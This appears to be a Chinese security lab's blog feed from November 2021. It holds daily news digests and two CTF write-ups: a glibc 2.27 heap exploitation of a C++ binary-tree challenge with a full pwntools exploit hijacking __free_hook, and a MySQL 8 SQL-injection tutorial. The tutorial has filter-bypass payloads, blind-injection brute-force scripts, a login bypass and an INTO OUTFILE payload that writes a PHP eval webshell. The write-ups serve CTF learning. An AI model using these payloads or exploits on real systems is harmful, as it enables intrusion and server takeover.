网络安全日报 2021年11月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、严重的代码执行漏洞影响基于 OpenVPN 的应用程序
https://www.securityweek.com/severe-code-execution-vulnerabilities-affect-openvpn-based-applications 2、研究人员破解 Conti 勒索软件基础设施
https://www.securityweek.com/researchers-hack-conti-ransomware-infrastructure 3、GoDaddy 泄露了 120 万个托管的 WordPress 客户帐户
https://securityaffairs.co/wordpress/124894/data-breach/godaddy-data-breach.html 4、伊朗最大的私人航空公司-马汉航空遭网络攻击
https://www.securityweek.com/irans-mahan-air-says-hit-cyberattack 5、印度旁遮普国民银行服务器漏洞暴露客户数据
https://www.livemint.com/industry/banking/pnb-customers-data-exposed-for-seven-months-due-to-server-vulnerability-report-11637486043143.html 6、英国数据存储公司Stor-A-File遭黑客攻击泄露客户信息
https://www.dailymail.co.uk/news/article-10225281/Highly-sensitive-medical-documents-leaked-online-hackers-3million-Bitcoin-ransom-rejected.html 7、美国银行业监管机构要求银行在36小时内通报网络安全事件
https://securityaffairs.co/wordpress/124826/laws-and-regulations/u-s-banking-regulators-rule.html 8、企业间谍黑客组织RedCurl回归
https://thehackernews.com/2021/11/redcurl-corporate-espionage-hackers.html 9、美国证券交易委员会警告称诈骗者冒充SEC官员
https://www.bleepingcomputer.com/news/security/us-sec-warns-investors-of-ongoing-govt-impersonation-attacks/ 10、印尼国家警察服务器遭黑客入侵泄露警察数据
https://www.databreaches.net/indonesia-probe-police-hack-in-latest-cyber-breach/
网络安全日报 2021年11月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新的"SharkBot"安卓银行木马以美国、英国和意大利为目标
https://www.securityweek.com/new-%E2%80%98sharkbot%E2%80%99-android-banking-malware-hitting-us-uk-and-italy-targets 2、恶意Python包窃取Discord令牌并且安装shell
https://securityaffairs.co/wordpress/124861/hacking/malicious-pypi-python-packages.html 3、攻击者破坏 Exchange 服务器以劫持内部电子邮件
https://securityaffairs.co/wordpress/124838/hacking/microsoft-exchange-servers-hack.html 4、研究揭示了最常见的前 200 个密码
https://securityaffairs.co/wordpress/124815/security/top-used-passwords.html 5、600 万台 Sky 路由器遭受攻击近 1.5 年
https://threatpost.com/6m-sky-routers-exposed-18-months/176483/ 6、新Aggah活动劫持剪贴板以替换加密货币地址
https://www.riskiq.com/blog/external-threat-management/aggah-clipboard-hijack-crypto/ 7、Memento勒索软件将文件锁定在加密WinRAR中
https://www.bleepingcomputer.com/news/security/new-memento-ransomware-switches-to-winrar-after-failing-at-encryption/ 8、钓鱼邮件冒充TSA PreCheck网站欺骗美国旅客
https://www.bleepingcomputer.com/news/security/fake-tsa-precheck-sites-scam-us-travelers-with-fake-renewals/ 9、Vestas公司遭到网络攻击关闭部分IT系统
https://www.reuters.com/markets/europe/vestas-hit-by-cyber-security-incident-shuts-some-it-systems-2021-11-20/ 10、CKEditor修复影响Drupal和下游应用的漏洞
https://portswigger.net/daily-swig/ckeditor-vulnerabilities-pose-xss-threat-to-drupal-and-other-downstream-applications
网络安全日报 2021年11月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Microsoft 解决了 Azure AD 中的一个高危漏洞
https://securityaffairs.co/wordpress/124755/security/microsoft-azure-ad-flaw.html 2、FBI 警告 FatPipe 产品中一个零日漏洞已被利用
https://securityaffairs.co/wordpress/124742/security/zero-day-fatpipe.html 3、以色列国防部长的清洁工被控为伊朗黑客从事间谍活动
https://www.securityweek.com/israel-defence-ministers-cleaner-charged-spying-iran 4、基于 Golang 的恶意软件高速增长
https://cyware.com/news/the-rising-popularity-of-golang-based-malware-87b9e7d7 5、新的鱼叉式网络钓鱼活动利用 Glitch 平台窃取员工凭据
https://threatpost.com/spear-phishing-exploits-glitch-steal-credentials/176449/ 6、研究人员发现BrazKing Android银行木马新版本
https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/ 7、钓鱼邮件伪装成Netflix服务窃取用户信用卡信息
https://threatpost.com/netflix-bait-phishers-fake-signups/176422/ 8、网络钓鱼活动以 Tiktok KOL用户为目标
https://securityaffairs.co/wordpress/124728/hacking/tiktok-influencer-phishing-campaign.html 9、LibreCAD 中发现多个代码执行漏洞
https://blog.talosintelligence.com/2021/11/libre-cad-vuln-spotlight-.html 10、朝鲜APT组织 TA406针对外交专家、记者和NGO
https://www.proofpoint.com/us/blog/threat-insight/triple-threat-north-korea-aligned-ta406-scams-spies-and-steals
网络安全日报 2021年11月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Netgear 修补影响多个产品的代码执行漏洞
https://www.securityweek.com/netgear-patches-code-execution-vulnerability-affecting-many-products 2、英国下令对 NVIDIA 收购 Arm 的交易进行国家安全审查
https://www.securityweek.com/uk-orders-national-security-review-nvidia-deal-buy-arm 3、CISA 为联邦机构发布了事件和漏洞响应手册
https://securityaffairs.co/wordpress/124705/security/cisa-incident-response-playbook.html 4、StripChat 数百万用户数据遭泄露
https://securityaffairs.co/wordpress/124665/data-breach/adult-cam-site-stripchat-exposes-the-data-of-millions-of-users-and-cam-models.html 5、攻击者利用 "域前置" 技术重定向缅甸政府网站流量
http://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html 6、Microsoft 修复了 Exchange Server 中的反射型 XSS漏洞
https://portswigger.net/daily-swig/microsoft-fixes-reflected-xss-in-exchange-server 7、Concrete CMS 存在多个安全漏洞
https://portswigger.net/daily-swig/server-side-vulnerabilities-in-concrete-cms-put-thousands-of-websites-under-threat 8、Lantronix PremierWave 2050 中的漏洞可导致代码执行、文件删除
https://blog.talosintelligence.com/2021/11/lantronix-premier-wave-vuln-spotlight.html 9、新的Emotet垃圾邮件活动向全球发送恶意文档
https://www.bleepingcomputer.com/news/security/here-are-the-new-emotet-spam-campaigns-hitting-mailboxes-worldwide/ 10、黑客入侵WordPress网站显示虚假的加密通知
https://www.bleepingcomputer.com/news/security/wordpress-sites-are-being-hacked-in-fake-ransomware-attacks/
CTF中一道C++数据结构堆风水pwn的利用分享
分享一道CTF线下比赛中由c++编写的一道高质量赛题。
附件领取:关注【蚁景网安实验室】公众号,回复 赛题 即可领取
https://www.yijinglab.com/pages/CTFLaboratory.jsp
初步分析
程序运行起来看起来似乎是一道常规的菜单堆题:
libc环境:
是Glibc 2.27-3ubuntu1.4,这个版本与2.31版本很像,都有key机制,一定程度上防止了double free的攻击。
回到程序,程序的功能有插入,展示和删除,我们具体用IDA打开来看看程序是个什么逻辑。
可以看到函数列表有非常多的函数(原题去除了符号表,笔者经过逆向重命名了一些函数符号),并且使用c++编写,逆向起来难度更大,如果采取常规的静态分析手段,可能会花费很大的精力,由于题目名字是cxx_and_tree,我们猜测整个程序是用树这种数据结构来存储信息,最经典的莫过于二叉树,我们可以来写个demo来测试程序,如果申请以下堆块,那么堆结构如下面的图:
add(0, 0x60, 'a')
add(4, 0x60, 'a')
add(2, 0x60, 'a')
add(9, 0x60, 'a')
add(3, 0x60, 'a')
add(7, 0x60, 'a')
其中0x40大小的为node部分数据,其余大小的为其data数据,将其画为二叉树长成如下样子
左右子树根据其index分如上图,并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。
经过逐步调试和逆向加深对程序的理解后,笔者分析node结构体如下:
struct node
{
__int64 idx; // 节点号
__int64 user_size; // 用户输入的size
__int64 *self_heap_buf; // 存储数据的buf
node *left; // 左孩子
node *right; // 右孩子
node *father; // 父节点
};具体的漏洞和代码逆向请看下文。
漏洞分析与逻辑触发点
漏洞位于当我们删除某个二叉树节点的时候,如果该节点有左右子树,会调用一个memcpy的函数,这个函数的对于节点size的处理是有问题的。
在申请节点的时候,其size的算法是这样的:
做了一个类似于align的操作,这个操作是很安全的,人为扩展了一下chunk,使得我们能够申请的最大的size和其align之后最小的size一样大,但是下面的删除节点的操作就有bug了:
v2 = (unsigned __int64)tmp_target->user_size >> 3;写个poc来看下我们能溢出的字节数量
def poc():
for size in range(0x10, 0xff + 1):
biggerSize = ((size >> 3) + 1) * 8
smallerSize = (size >> 3) * 8
if biggerSize > smallerSize:
print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize)))
poc()
注意到我们在触发这个逻辑的时候,有部分size是比biggerSize要小的,最多可以溢出7字节。
整个删除节点的逻辑如下:
想要到达漏洞点所在的位置,则该节点必须同时拥有左右孩子节点才可以。
分析下如果该节点同时拥有左右孩子节点,那么删除该节点的时候发生的流程大致如下:
首先是获得该节点中右子树中最小的元素(按idx确定大小,因为下面一直走的是左子树的逻辑)
然后将其要替换的节点传入到带有bug的函数中,在此函数中,程序重新申请了一块buf,然后复制要替换节点的数据到新的buf中,值得注意的是,并没有像我们传统的数据结构中一通乱改指针,而是采用了一个复制的思想,但是新创建的buf的size给少了,控制得当能够溢出七个字节。
然后再往下的逻辑就是删掉刚才的右子树中的最小节点,因为其数据已经拷贝到原本要删除的节点当中。
在这里我有个疑问,既然之前选到了右子树的最小的节点,那么为什么还要判断其是否还有左子树呢?上面的分支应该永远不会进入,或许是出题人为了增加逆向难度,又或者是出题人面向ctrl+CV编程。
然后进入一个删除节点的函数:
unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node)
{
struct node *v3; // rbx
struct node *v4; // rbx
struct node *v5; // rbx
struct node *v6; // rbx
unsigned __int64 v8; // [rsp+28h] [rbp-18h]
v8 = __readfsqword(0x28u);
if ( *to_delete_node == *father_node ) // only root node
{
if ( *((_DWORD *)father_node + 4) == 1 ) // only a node
{
v3 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v3);
}
*father_node = 0LL;
--*((_DWORD *)father_node + 4);
*to_delete_node = 0LL;
}
else // has right children
{
*father_node = (*father_node)->right;
(*father_node)->father = 0LL; // because of the "to_delete_node == father_node", the children will be the root node
v4 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v4);
}
*to_delete_node = 0LL;
}
}
else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node:
{
(*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr
if ( (*to_delete_node)->right )
(*to_delete_node)->right->father = *tmp_father_node;
v5 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v5);
}
*to_delete_node = 0LL;
}
else // if the node to delete is in the right of its father node:
{
(*tmp_father_node)->right = (*to_delete_node)->right;
if ( (*to_delete_node)->right )
(*to_delete_node)->right->father = *tmp_father_node;
v6 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v6);
}
*to_delete_node = 0LL;
}
return __readfsqword(0x28u) ^ v8;
}分为两种情况删除,一是叶子节点,另外就是还有一个右孩子节点,删除的方法很普通,就是普通数据结构中学的删除方法一样。
漏洞利用
完整exp如下:
from pwn import *
import sys
arch = 64
challenge = "./pwn1"
libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"
libc_path_remote = ""
local = int(sys.argv[1])
elf = ELF(challenge)
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']
if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
# io = gdb.debug(challenge, 'b *$rebase(0x279f)')
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 25965)
if libc_path_remote:
libc = ELF(libc_path_remote)
if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'
def dbg():
context.log_level = 'debug'
def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
bps = []
pie = 0
def gdba():
if local == 0:
return 0
cmd ='b *$rebase(0x1ee2)\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)
_add,_free,_show = 2,3,1
menu = "3.remove_information"
def add(idx, size, content):
sla(menu, str(_add))
sla("idx:", str(idx))
sla('size:', str(size))
sa("content:", content)
# ru('addr=')
# return int(io.recv(5), base=16)
def free(idx):
sla(menu, str(_free))
sla("idx:", str(idx))
def show():
sla(menu, str(_show))
def exp():
for i in range(8):
add(i, 0xd0, 'a')
for i in range(7):
free(i)
add(8, 0x20, 'a')
show()
leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
libc_base = leak
echo('libc base:' + hex(libc_base))
free(7)
free(8)
add(7, 0xdf, 'z' * 0xdf)
add(4, 0xd0, 'a')
add(2, 0xd0, 'a')
add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
add(10, 0xdf, 'c' * 0xdf)
add(15, 0xdf, 'd' * 0xdf)
add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))
# The last one chunks are buF areas of Number 3
# The last two chunks are buF areas of Number b
free(11) # 5c0 will corrupt
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(4)
add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))
add(0, 0x2f, 'a')
add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
free(2)
free(0)
free(4)
free(15)
free(10)
free(13)
# Get the second chunk of 0x30
add(13, 0xd0, 'a')
add(10, 0x2f, 'a')
add(15, 0x2f, 'a')
add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
free(13)
free(10)
free(15)
add(10, 0xd0, '/bin/sh\x00')
add(8, 0x2f, '/bin/sh\x00')
add(13, 0x2f, '/bin/sh\x00')
add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
free(10)
free(8)
exp()
ia()漏洞其实并不太好利用,分析原因如下:insert节点的时候会额外申请别的堆块出来,整体的堆布局我们其实并不太好控制,所以漏洞利用的时候会有时不可控,我们需要反复的调试,现给出exp的书写思路。
泄露libc基址
for i in range(8):
add(i, 0xd0, 'a')
for i in range(7):
free(i)
add(8, 0x20, 'a')
show()
leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
libc_base = leak
echo('libc base:' + hex(libc_base))
free(7)
free(8)在2.27下,只要循环填满tcache即可很容易的泄露出libc
布置二叉树
add(7, 0xdf, 'z' * 0xdf)
add(4, 0xd0, 'a')
add(2, 0xd0, 'a')
add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
add(10, 0xdf, 'c' * 0xdf)
add(15, 0xdf, 'd' * 0xdf)
add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))可以看到,我们在输入content的时候会输入一些很奇怪的值,这个时候的值我们是无法确定的,必须结合后文来慢慢调试。
初始状态如图所示,这个时候我们去free11,将会到达漏洞所在逻辑的位置处,让程序触发漏洞。
此时堆空间的布局如图所示
可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位,形成了overlap
下面是关键操作,劫持tcache数组的0x30大小的chunk的fd为hook
free(4)
add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))此时的bins情况:
此时的二叉树为:
因为现在已经将freehook链入到tcache里面,下面我们的工作主要就是围绕怎么将其申请出来而努力,首先直接申请是肯定不行的,我也没有深究,因为申请的时候会首先申请两个chunk出来,然后将其free掉,然后再做一系列的memcpy操作,在这一系列的过程中,无法保证中间chunk的合法性能够绕过检查,所以我们还是利用漏洞点申请不同size的chunk的这一特性努力,我们可以逐个布置满足要求的二叉树节点,然后利用漏洞来申请出来这个chunk。
第一轮申请
add(0, 0x2f, 'a')
add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
free(2)布置完如下node,二叉树为:
堆布局为:
可以看到还有两个node就可以申请到freehook。
free(0)
free(4)
free(15)
free(10)
free(13)清除一些无关的node,为我们布置节点做好铺垫。
第二轮申请
add(13, 0xd0, 'a')
add(10, 0x2f, 'a')
add(15, 0x2f, 'a')
add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
free(13)此时二叉树为:
堆布局为:
清除一些节点来重新布置
free(10)
free(15)
第三轮申请并getshell
故技重施,最终可以申请到hook所在空间并getshell
add(10, 0xd0, '/bin/sh\x00')
add(8, 0x2f, '/bin/sh\x00')
add(13, 0x2f, '/bin/sh\x00')
add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
free(10)
free(8) # getshell
本文到这里就结束了,如果有疑问或者任何不当之处欢迎联系笔者进行技术交流:mailto:lemonujn@gmail.com
网络安全日报 2021年11月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Chrome 96 修复多个高危漏洞
https://www.securityweek.com/chrome-96-plugs-high-risk-browser-flaws 2、英特尔 CPU 漏洞可导致加密密钥泄露
https://www.securityweek.com/intel-cpu-vulnerability-can-expose-cryptographic-keys 3、SharkBot:一种针对欧洲银行的新型安卓木马
https://securityaffairs.co/wordpress/124650/mobile-2/sharkbot-android-trojan.html 4、NPM 修复私有包名泄露和未授权问题
https://securityaffairs.co/wordpress/124671/security/github-npm-package-flaws.html 5、微软为 Defender 添加了 AI 驱动的勒索软件保护
https://www.bleepingcomputer.com/news/microsoft/microsoft-adds-ai-driven-ransomware-protection-to-defender/ 6、新的攻击手法可完全绕过DRAM内存Rowhammer漏洞现有保护措施
https://www.securityweek.com/blacksmith-rowhammer-fuzzer-bypasses-existing-protections 7、 700 万 Robinhood 客户数据被在线出售
https://www.bleepingcomputer.com/news/security/7-million-robinhood-user-email-addresses-for-sale-on-hacker-forum/ 8、MosesStaff组织针对以色列公司窃取敏感数据
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/ 9、CISA发布工业控制系统警报敦促修补关键漏洞
https://www.infosecurity-magazine.com/news/cisa-patch-these-ics-flaws-across/ 10、VMware披露vCenter Server中的权限提升漏洞
https://securityaffairs.co/wordpress/124465/security/vmware-vcenter-server-flaw.html
mysql8.0.2新特性注入由浅到深
https://www.yijinglab.com/pages/CTFLaboratory.jsp
前言
最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。
环境搭建
我这里是用docker在服务器上拉的,然后用navicat来看的
下载
docker pull mysql:8.0.21
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21 进入mysql容器,并登陆mysql
docker exec -it mysql8 bash
mysql -uroot -p
//然后输入密码开启远程访问权限
use mysql;
select host,user from user;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
flush privileges;
连进去看看版本号就可以了,如果是8.0.21则环境搭建完成
基本知识
本次测试所用到的user表内容如下
table
基本用法
在MYSQL8以后出现的新语法,作用和select类似。
作用:列出表中全部内容
语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
table user order by 2
table user limit 2与SELECT的区别:
1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
注意事项
比较问题1
(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)
结果
TABLESOACE_NAME
tmp/user这里用小于号进行比较
select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:0select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:1select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:1综上可以看出来如果是u的,其ascii 编码大于t 的,得到的是1。
但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。
所以在进行注入中注意要把得到的数ascii值减1。
比较问题2
来看下面的两个例子
select (('tmp/use','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:1select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:NULLselect (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:0所以这里在判断最后一位是,要注意这里记得到取0之前的值。
整数比较问题
table user limit 0,1
返回值:1 hel看下面的例子
select (('0',2)<(table user limit 0,1))
返回值:1select (('1',2)<(table user limit 0,1))
返回值:0select (('2',2)<(table user limit 0,1))
返回值:0select (('0aaaa',2)<(table user limit 0,1))
返回值:1select (('1aaaa',2)<(table user limit 0,1))
返回值:0在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。
VALUES
VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。
作用:列出一行的值
语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...]value_list: value[, value][, ...]column_designator: column_index他的语法看起来很长,但用起来很简洁。
基本使用
VALUES ROW(1,2)
VALUES ROW(1,2,3)
VALUES ROW(1,2,3),ROW(5,6,7)配合union使用
VALUES ROW(1, 2) union select * from user
select * from user union VALUES ROW(1, 2)
information_schema.TABLESPACES_EXTENSIONS
我们可以通过这个表去查询所有数据库中的数据库和数据表
table information_schema.TABLESPACES_EXTENSIONS
等价于
select * from information_schema.TABLESPACES_EXTENSIONS
在这里我也列出几个和他相同功能的函数
information_schema.SCHEMA information_schema.TABLES
information.COLUMNS
mysql.innodb_table_stats
mysql.innodb_index_stats
sys.schema_tables_with_full_table_scans
实战演练
基础练习
index.php
<?php
// error_reporting(0);
require_once('config.php');
highlight_file(__FILE__);
$id = isset($_POST['id'])? $_POST['id'] : 1;
if (preg_match("/(select|and|or| )/i",$id) == 1){
die("MySQL version: ".$conn->server_info);
}
$data = $conn->query("SELECT username from users where id = $id");
foreach ($data as $users){
var_dump($users['username']);
}
?>config.php
<?php
// config.php
$dbhost = 'ip'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = '123456'; // mysql用户名密码
$dbname = 'user'; // mysql数据库
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
?>数据库信息
输入id会返回数据库的值
这里过滤了几个字符,尝试绕过并报出数据库
id=0%09union%09values%09row(database())爆字段
如果字段数多了或者少了会报错
得到字段数
id=0%09||('1','')<(table%09users%09limit%091)
//有回显
id=0%09||('2','')<(table%09users%09limit%091)
//无回显然后去爆破值
select ('1','a')<(table users limit 1)
//有回显
select ('1','r')<(table users limit 1)
//有回显
id=0%09||('1','s')<(table%09users%09limit%091)
//这里就可以得到第一个值,然后继续爆
id=0%09||('1','roos')<(table%09users%09limit%091)
//有回显
id=0%09||('1','root')<(table%09users%09limit%091)
//无回显到这里记得在最后一个值加上1,这样就可以得到数据库的值
脚本
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result
tables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ""
for i in range(0,50):
for j in range(110,122):
data = {
'id':"0/**/||('1','%s')<(table/**/users/**/limit/**/1)"%(flag+chr(j)),
}
r = requests.post('http://127.0.0.1/index.php',data=data);
print(data)
if 'string(4)' in r.text:
continue
else:
flag = flag +chr(j-1)
print(flag)
break
if(len(flag)<i):
break
print(flag[:-1]+chr(ord(flag[-1:])+1))
写文件
除了上面的方法还可以通过读写来getshell
查看是否有权限写入文件
id=0/**/union/**/values/**/row(user())
id=0/**/union/**/values/**/row(@@secure_file_priv)如果有,则可以通过下面的语句写入
id=0/**/union/**/values/**/row(load_file('/flag'))id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e)
/**/into/**/outfile/**/'/var/www/html/shell.php'
//<?php @eval($_POST[1]);?>
香山杯---login
这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。
描述
题目内容:只是一个简单的登录框,登录就有flag。
hint: mysql8新特性:values的利用
解题过程
进去就一个登陆框,直接抓包看看
发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵
简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。
这里还可以用||来进行拼接。
测试,发现这样就可以进行注入。
username=123' || 1=1#&password=456&login=login脚本
import requests
flag=''
i=0
while True:
small=32
big=127
i=i+1
while small<big:
mid=small+big>>1
data={
'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",
'password':'1',
}
r=requests.post('http://xxx.com/',data=data)
if '密码错误' in r.text:
small=mid+1
else:
big=mid
if(i>4):
break
else:
print(chr(small))
flag+=chr(small)
print(flag)通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result
tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ""
for i in range(0,50):
for j in range(48,122):
data = {
# 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),
#'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),
# username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login
'password':'',
}
r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);
if '用户名不存在' in r.text:
flag = flag +chr(j-1)
print(flag)
break上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。
本题就用union去生成了一个新的values来进行绕过。
username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login登录进去就有flag了。
搭建环境问题
如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以)
就添加这两行
bind-address = 0.0.0.0
default_authentication_plugin=mysql_native_password完整的代码
# Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
# The MySQL Server configuration file.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
secure-file-priv= NULL
bind-address = 0.0.0.0
default_authentication_plugin=mysql_native_password
# Custom config should go here
参考文章
https://www.actionsky.com/2777.htmlhttps://blog.csdn.net/HBohan/article/details/119757059
网络安全日报 2021年11月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、在被国际行动摧毁十个月后,Emotet 僵尸网络重新活跃
https://securityaffairs.co/wordpress/124642/cyber-crime/operation-reacharound-emotet-return.html 2、Cloudflare 宣布缓解迄今为止最大的2Tbps DDoS攻击
https://securityaffairs.co/wordpress/124634/security/cloudflare-mitigated-ddos-2-tbps.html 3、微软紧急更新以修复 Windows Server 身份验证失败问题
https://securityaffairs.co/wordpress/124625/security/microsoft-windows-server-auth-failures.html 4、Diebold Nixdorf ATM 漏洞允许攻击者修改固件窃取现金
